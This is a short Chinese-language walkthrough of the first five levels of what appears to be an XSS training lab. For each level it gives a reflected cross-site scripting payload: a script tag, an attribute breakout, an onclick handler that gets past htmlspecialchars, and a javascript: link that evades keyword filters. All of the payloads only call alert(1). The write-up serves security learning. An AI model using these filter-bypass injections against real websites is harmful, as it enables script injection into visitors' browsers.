1.第一关
payload:
http://xss/level1.php?name=<Script>alert(1)</Script>
2.第二关
这里变量出现在两处,我们直接利用第二处,做构造以及闭合
payload:
1"><ScRipt>alert(1)</ScRipt>
3.第三关
用第二关的payload去试一下,发现内容没变化,但是就是没当成js代码
查一下网页源代码和php代码
看到使用了htmlspecialchars方法,它的作用是将特殊符号转换成HTML实体。那么什么是HTML实体呢?
说白了就是HTML为了防止特殊符号,如 "<"等,html当成标签
这时候我们的思路就尽量要绕开使用新标签,那么浏览器还有一些事件可以执行js代码,如onfocus,onblur,但是这两个是属于输入框在光标进入/离开时调用后面的js代码(可以用函数形式或者javascript:~~)
这里我用的是click,直接点击一下就可以了
payload:
' onclick ='javascript:alert(1)'//
4.第四关
==同第三关(把单引号换成双引号)==
5.第五关
script过滤了,onclick也过滤了
尝试构造a标签
"></input><a href='javascript:alert(1)'>asd</a>//